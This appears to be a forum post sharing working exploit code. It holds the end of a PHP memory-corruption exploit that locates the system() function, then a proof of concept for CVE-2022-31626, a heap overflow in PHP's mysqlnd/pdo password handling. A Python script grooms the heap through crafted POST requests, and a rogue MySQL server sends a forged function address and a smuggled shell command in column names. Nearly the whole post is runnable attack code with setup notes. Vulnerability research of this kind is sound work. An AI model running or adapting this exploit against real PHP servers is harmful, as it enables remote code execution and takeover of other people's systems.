        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
        
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= "x";
    }

    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }

    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i < $n; $i++) {
            $this->abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function log($format, $val = "") {
        if(self::LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat("A", $size));
    }

    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
}

?>
 
mysqlnd/pdo password buffer overflow leading to RCE (< 7.4.30, < 8.0.20, < 8.1.7)

Remote Exploitation Technique For CVE 2022-31626

Bug summary
We present new technique for remote exploitation of heap overflow in PHP web applications.
PHP bug #81719 is remote exploitable with this technique in PHP <= 7.4.29.
Bug #81719 is Heap Overflow Bug which allowes to overwrite 4 bytes.
Scripts demonstrate how to get code execution with overwriting 4 bytes.

Files:
  • mysql_admin.php - simple web application
  • rogue_sql_server.py - script to run fake mysql server (run with python2)
  • exploit_poc.py - script to send http-requests to web app.
Код:
import struct
import requests

'''
Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin
https://github.com/CFandR-github
'''

'''
Set sapi_ub_write var with address of sapi_module.ub_write symbol in exploit_poc.py
Set system var in rogue_sql_server.py with address of system symbol

Set need_memleak var with 1 in both exploit_poc.py and rogue_sql_server.py to get memory leak.
Set to 0 for code execution

PHP process heap can have differences depending on environment / configuration.
To prepare heap, play with POST parsing: add or remove some variables in "payload" array.
'''

N = 23
BIN = 160
need_memleak = 0

payload = [ ('server', '127.0.0.1'), ('username', 'root'), ('db', 'php'), ('password', 'v' * (9 * 0x1000 - 4)) ]

for i in range(N):
   payload.append(('key%s' % i , chr(ord('B') + i) * (0x1000 - 100)))

if need_memleak:
   #memleak
   payload.append(('hi1', 'T' * (135 - 24 - 3)))
   payload.append(('hi2', 'T' * (135 - 24 - 3)))
   payload.append(('hi3', 'T' * (135 - 24 - 3)))
   payload.append(('hi4', 'T' * (135 - 24 - 3)))
   payload.append(('hi5', 'T' * (135 - 24 - 3)))
   payload.append(('hi6', 'T' * (135 - 24 - 3)))
   payload.append(('hi7', 'T' * (135 - 24 - 3)))

else:
   #rce
   sapi_ub_write = 0x7f6eb66071b0

   fake_chunk  = ('Y' * 0x48).encode('utf-8')
   fake_chunk +=  struct.pack('<Q', sapi_ub_write - 24)        #next_free_slot for fake chunk
   fake_chunk += ('T' * (135 - 24 - 3 - len(fake_chunk))).encode('utf-8')

   payload.append(('hi1', 'T' * (135 - 24 - 3)))
   payload.append(('hi2', 'T' * (135 - 24 - 3)))
   payload.append(('hi3', 'T' * (135 - 24 - 3)))
   payload.append(('hi4', 'T' * (135 - 24 - 3)))
   payload.append(('hi5', fake_chunk))

for i in range(N):
   if i % 2 == 0 and i < int(N / 1.5):
       continue
   payload.append(('key%s' % i, 'helloworld'))

if need_memleak:
   #memleak
   payload.append(('hi1', 'null'))
   payload.append(('hi7', 'null'))
   payload.append(('hi6', 'null'))
   payload.append(('hi5', 'null'))
   payload.append(('hi4', 'null'))
   payload.append(('hi3', 'null'))
   payload.append(('hi2', 'null'))
else:
   #rce
   payload.append(('hi1', 'null'))
   payload.append(('hi2', 'null'))
   payload.append(('hi3', 'null'))
   payload.append(('hi4', 'null'))

x = requests.post('http://127.0.0.1/research/mysql_admin.php', data = payload)
data = x.content
print(data)
Код:
import os
import sys
import struct
import socket
import warnings
import asynchat
import asyncore

from mysql_constants import *

'''
Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin
https://github.com/CFandR-github
'''

class Packet:
   def __init__(self):
       pass

   def pack_1_byte(self, v):
       return struct.pack('B', v)

   def pack_2_bytes(self, v):
       return struct.pack('BB', v & 0xff, v >> 8)

   def pack_3_bytes(self, v):
       return struct.pack('BBB', v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff)

   def pack_4_bytes(self, v):
       return struct.pack('I', v)

   def pack(self, nested = True):
       if hasattr(self, 'get_to_str'):
           self.data     = self.get_to_str()
       else:
           raise Exception("Eror")

       if not nested:
           r = ''
           r += self.pack_3_bytes(len(self.data))
           r += self.pack_1_byte(self.num)
           r += self.data
       else:
           r = self.data
       return r

class LengthEncodedInteger(Packet):
   def __init__(self, value):
       self.value = value

   def get_to_str(self):
       if self.value < 251:
           return self.pack_1_byte(self.value)
       elif self.value    >= 251 and self.value < (1<<16):
           return '\xfc' + self.pack_2_bytes(self.value)
       elif self.value >= (1<<16) and self.value < (1<<24):
           return '\xfd' + self.pack_3_bytes(self.value)
       elif self.value >= (1<<24) and self.value < (1<<64):
           return '\xfe' + self.pack_4_bytes(self.value)

class LengthEncodedString(Packet):
   def __init__(self, text):
       self.text = text

   def get_to_str(self):
       r  = LengthEncodedInteger(len(self.text)).pack()
       r += self.text
       return r

class ColumnDefinition(Packet):
   def __init__(self, catalog, schema, table, org_table, name, org_name, charsetnr, length, type_, flags, decimals):
       self.catalog         = catalog
       self.schema         = schema
       self.table             = table
       self.org_table         = org_table
       self.name             = name
       self.org_name         = org_name
       self.next_length     = 0x0c
       self.charsetnr         = charsetnr
       self.length         = length
       self.type             = type_
       self.flags             = flags
       self.decimals         = decimals

   def get_to_str(self):
       r = ''
       r += LengthEncodedString(self.catalog).pack()
       r += LengthEncodedString(self.schema).pack()
       r += LengthEncodedString(self.table).pack()
       r += LengthEncodedString(self.org_table).pack()
       r += LengthEncodedString(self.name).pack()
       r += LengthEncodedString(self.org_name).pack()
       r += LengthEncodedInteger(self.next_length).pack()
       r += self.pack_2_bytes(self.charsetnr)
       r += self.pack_4_bytes(self.length)
       r += self.pack_1_byte(self.type)
       r += self.pack_2_bytes(self.flags)
       r += self.pack_1_byte(self.decimals)
       r += '\x00\x00'
       return r

class EOF(Packet):
   def __init__(self, more_results = False):
       self.EOF = 0xfe
       self.warnings = 0
       self.server_status = 0x002 | (0x8 if more_results else 0)

   def get_to_str(self):
       r = ''
       r += self.pack_1_byte(self.EOF)
       r += self.pack_2_bytes(self.warnings)
       r += self.pack_2_bytes(self.server_status)
       return r

class ResultsetRow(Packet):
   def __init__(self, row):
       self.row = row

   def get_to_str(self):
       return ''.join([LengthEncodedString(v).pack() for v in self.row])

class COM_QUERY_RESPONSE(Packet):
   def __init__(self, responce):
       # ProtocolText::Resultset
       self.responce = responce

   def get_to_str(self):
       resp_str = ''
       total_num = 1
       try:
           for i, resp in enumerate(self.responce):
               self.column_count, self.column_def, self.rows = resp

               r = ''
               arr = []
               arr.append(LengthEncodedInteger(self.column_count))
               for c in self.column_def:
                   arr.append(ColumnDefinition(*c))
               arr.append(EOF())
               for row in self.rows:
                   arr.append(ResultsetRow(row))
               arr.append(EOF(more_results = (True if i != len(self.responce) - 1 else False)))

               for p in arr:
                   p.num = total_num
                   total_num += 1
                   r += p.pack(nested = False)
               resp_str += r
       except:
           print 'Error on line {}'.format(sys.exc_info()[-1].tb_lineno)

       return resp_str

class COM_QUIT(Packet):
   def __init__(self):
       self.cmd = 0x1

   def get_to_str(self):
       return self.pack_1_byte(self.cmd)

class COM_SET_OPTION(Packet):
   def __init__(self):
       self.com_set_option = 0x1b
       self.option_operation = 0

   def get_to_str(self):
       return self.pack_1_byte(self.com_set_option) + self.pack_1_byte(self.option_operation)

class PacketOK(Packet):
   def __init__(self):
       self.header = 0
       self.affected_rows = 0
       self.last_insert_id = 0
       self.status_flags = 0x2
       self.warnings = 0

   def get_to_str(self):
       r = ''
       r += self.pack_1_byte(self.header)
       r += LengthEncodedInteger(self.affected_rows).pack()
       r += LengthEncodedInteger(self.last_insert_id).pack()
       r += self.pack_2_bytes(self.status_flags)
       r += self.pack_2_bytes(self.warnings)
       return r

class AuthSwitch(Packet):
   def __init__(self):
       self.status = 0xfe
       self.auth_method_name = 'mysql_clear_password'
       self.auth_method_data = 'abc'

   def get_to_str(self):
       r = ''
       r += self.pack_1_byte(self.status)
       r += self.auth_method_name + '\x00'
       r += self.auth_method_data + '\x00'
       return r

class Handshake(Packet):
   def __init__(self, protocol_version, server_version, connection_id, auth_plugin_data_part_1, capability_flag_1, character_set, status_flags, capability_flags_2, auth_plugin_data_len, auth_plugin_data_part_2, auth_plugin_name):
       self.protocol_version = protocol_version
       self.server_version = server_version
       self.connection_id = connection_id
       self.auth_plugin_data_part_1 = auth_plugin_data_part_1
       self.filler = 0
       self.capability_flag_1 = capability_flag_1
       self.character_set = character_set
       self.status_flags = status_flags
       self.capability_flags_2 = capability_flags_2
       self.auth_plugin_data_len = auth_plugin_data_len
       self.auth_plugin_data_part_2 = auth_plugin_data_part_2
       self.auth_plugin_name = auth_plugin_name

   def get_to_str(self):
       r  = ''
       r += self.pack_1_byte(self.protocol_version)
       r += self.server_version + '\x00'
       r += self.pack_4_bytes(self.connection_id)
       r += self.auth_plugin_data_part_1
       r += self.pack_1_byte(self.filler)
       r += self.pack_2_bytes(self.capability_flag_1)
       r += self.pack_1_byte(self.character_set)
       r += self.pack_2_bytes(self.status_flags)
       r += self.pack_2_bytes(self.capability_flags_2)
       r += self.pack_1_byte(self.auth_plugin_data_len)
       r += '\x00' * 10
       r += self.auth_plugin_data_part_2
       r += self.pack_1_byte(self.filler)
       r += self.auth_plugin_name
       r += '\x00'
       return r

class mysql_packet_handler(asynchat.async_chat):
   def __init__(self, addr):
       asynchat.async_chat.__init__(self, sock=addr[0])
       self.addr = addr[1]
       self.ibuffer = []
       self.set_terminator(3)
       self.state = 'len'

       plugin_name = 'caching_sha2_password'
       plugin_len = len(plugin_name)

       p = Handshake(10, '8.0.23', 27, 'A' * 8, 0xffff, 8, 0x2, 0xcfff, plugin_len, 'B' * 12, plugin_name)
       p.num = 0
       self.push(p.pack(nested = False))

   def push(self, data):
       print('Pushed: %r', data)
       data = str(data)
       asynchat.async_chat.push(self, data)

   def collect_incoming_data(self, data):
       print('Data recved: %r', data)
       self.ibuffer.append(data)

   def found_terminator(self):
       data = "".join(self.ibuffer)
       self.ibuffer = []

       if self.state == 'len':
           len_bytes = ord(data[0]) +  (ord(data[1]) << 8) + (ord(data[2]) << 16) + 1
           self.set_terminator(len_bytes)
           self.state = 'data'
       elif self.state == 'data':
           packet_num = ord(data[0])
           payload = data[1:]
           self.set_terminator(3)
           self.state = 'len'
           #print response
           print(repr(payload))
           print('done')

           if ord(payload[0]) == 0x8d or ord(payload[0]) == 0x85:    
               #switch auth packet
               p2 = AuthSwitch()
               p2.num = 2
               self.push(p2.pack(nested = False))

           elif payload.find('vvvvvvvvvvvvvv\x00') != -1:
               print('okay!!')
               p = PacketOK()
               p.num = 4
               self.push(p.pack(nested = False))

           elif ord(payload[0]) == 0x03:
               #select packet    
               need_memleak = 0

               if need_memleak:

                   column_defs = [
                       ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                       ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                       ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                       ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                   ]
                   str_len = 160 - 25 - 10
                   pad,gc,h,newlen = 0x51515151, 0x10, 0, 0x500
                   zend_string = struct.pack('<Q', pad) + struct.pack('<Q', gc) + struct.pack('<Q', h) + struct.pack('<Q', newlen)
                   zend_string += 'U' * (str_len - len(zend_string))

                   num = len(column_defs)
                   rows = [
                           ['A'*str_len,'B'*str_len,'C'*str_len,'D'*str_len],
                           ['Q'*str_len,'R'*str_len,'Y'*str_len,'T'*str_len],
                           [chr(0)*str_len,'L'*str_len,'M'*str_len,zend_string]
                   ]

               else:
                   column_defs = [
                       ('def', 'test', 'a', "bb';ls;#", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                       ('def', 'test', 'a', "bb';ls;#", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                       ('def', 'test', 'a', "bb';ls;#", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                       ('def', 'test', 'a', "bb';ls;#", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0),
                   ]

                   str_len = 160 - 25 - 10
                   num = len(column_defs)
                   system = 0x7f6eba64a3a0
                   expl = struct.pack('<Q', system)
                   expl += 'G' * (str_len - len(expl))
                   rows = [
                           ['A'*str_len,'B'*str_len,'C'*str_len,'D'*str_len],
                           ['E'*str_len,'F'*str_len,expl,'hello']
                   ]

               p = COM_QUERY_RESPONSE([(num, column_defs, rows)])
               p_str = p.pack()
               self.push(p_str)
           elif ord(payload[0]) == 0x1b:
               #set option packet
               p = EOF()
               p.num = 1
               self.push(p.pack(nested = False))
           elif ord(payload[0]) == 0x01:
               #close
               self.close_when_done()

class mysql_listener(asyncore.dispatcher):
   def __init__(self, sock=None):
       asyncore.dispatcher.__init__(self, sock)

       if not sock:
           self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
           self.set_reuse_addr()
           try:
               self.bind(('', 3306))
           except socket.error:
               exit()

           self.listen(5)

   def handle_accept(self):
       pair = self.accept()

       if pair is not None:
           print('Conn from: %r', pair[1])
           mysql_packet_handler(pair)

z = mysql_listener()
asyncore.loop()

Writeup

by crlf
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх